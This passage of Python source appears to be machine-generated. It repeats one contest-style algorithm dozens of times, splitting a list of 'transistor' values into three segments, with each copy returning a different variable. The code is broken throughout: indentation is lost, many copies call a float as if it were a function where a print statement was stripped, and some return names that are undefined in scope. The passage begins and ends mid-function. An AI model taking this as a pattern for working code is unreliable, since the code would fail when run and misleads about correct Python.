lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return minimax
def func_bf856959b7a44cf09c8af39cfbd9ddb2(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return transistorsum
def func_9e56c7ba35bc4d69ae6b8f93bbca8ef2(transistors, N, testcase):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return last
def func_6d5ede81e3a64787b4de950437ebfebf(transistors, N, testcase):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextfirstsum
def func_bc58fac4d0d1460692957376f4a1b510(transistors, N, testcase):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return transistorsum
def func_bee38bf28a8c44ac803ecb227d8e3ee1(transistors, N, testcase):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return answer
def func_25167578630248d78521dc986c14c852(transistors, N, testcase):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return first
def func_d6a26126495b4f5ea36de0d8bb7b3f16(transistors, N, testcase):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return firstsum
def func_26204c43db03457d92cfa9fc4f35f298(transistors, N, testcase):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return minimax
def func_cc6ec53222234b51b1c696f10f5d07cd(transistors, N, testcase):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextlastsum
def func_c1e13c23336e4851bed45a75e30645d2(transistors, N, testcase):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return currentmax
def func_463f946f42ee4808a85d9d6b5c33de2c(transistors, N, testcase):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return lastsum
def func_cd32e8698e554715b5ffbf84ac158f56(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return lastsum
def func_4370c5ddaf2b427b9a3fd0ca273c96e5(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return answer
def func_2ca4230e82284667a7252fe65d8e13de(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return p
def func_12fbb646fc2f43059a11ded519aa2779(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return first
def func_dfc2c657a7294a31ab752faa3f0433e6(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return s
def func_ee272bc2224a40c9b067125673e1e523(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return transistors
def func_cad01d0871c3490b9dabc0a838523703(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return x
def func_9e185b744f3b4c41908ed0494fb11bc4(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return i
def func_8c79dee95ca9430ab254152e569caabe(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return q
def func_1903fad0d7bd4c2cb597157584b035cd(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextlastsum
def func_01c75a5449e848c0a8b9ce11b7d9865c(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return firstsum
def func_dc61e40f812645f888693ee007a02d79(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return currentmax
def func_21dd541f7b9f4fc087f47743d91ea216(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return transistorsum
def func_e977ec1da7cf4b068d84b34ab4a66e44(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return N
def func_d498bc07111044bcbb333993aacbaa41(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return r
def func_15bc3fcf27864906aae30da3586e82c1(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return minimax
def func_a04d1992589d44e08b442300791011e4(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextfirstsum
def func_bf967fe582cc4bdfbc4bd9c32de6228b(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return last
def func_3736a1d31fb9402a8eee4aa8ea0c3848(s, q, N, p, r, testcase):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return minimax
def func_812dd6921a064cd4a6df7ab882c3e39c(s, q, N, p, r, testcase):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return first
def func_f9151b441de64f9a885b559e65a85d4b(s, q, N, p, r, testcase):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return last
def func_a11988a81d424f0f905b0706fbbceda3(s, q, N, p, r, testcase):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return i
def func_ce9a56952fb4421fbfe841a79b565372(s, q, N, p, r, testcase):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return firstsum
def func_75eef0fd90a44fb2b57836a80f3087bf(s, q, N, p, r, testcase):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextfirstsum
def func_94008ca8f79445879da366062d32d794(s, q, N, p, r, testcase):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return answer
def func_e6dba71110994b43965a19a7a1ec4ce1(s, q, N, p, r, testcase):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return currentmax
def func_2b5f1caa4510403597190fa5bc1e6bff(s, q, N, p, r, testcase):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return transistorsum
def func_f19b8f72a2d24849b4c47103f7f636bd(s, q, N, p, r, testcase):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextlastsum
def func_6b7ad8e56aca4af5bf68c1885ecbcf5d(s, q, N, p, r, testcase):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return lastsum
def func_eb6cf2d0760a4494960ab7900371794f(s, q, N, p, r, testcase):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return transistors
def func_dcd1192fe3c848d49b024c06c5246613(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return q
def func_358daa42ae434b69a0253e543120315d(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return transistors
def func_188a21ccd04e4116aba27e4d0901715c(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return lastsum
def func_e33d41358c084efd8db756c67418fe73(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return s
def func_7f04290b89b347f0a6b7d97e7f6a96d2(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return p
def func_259fec91a7b04983b380819342d9039e(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
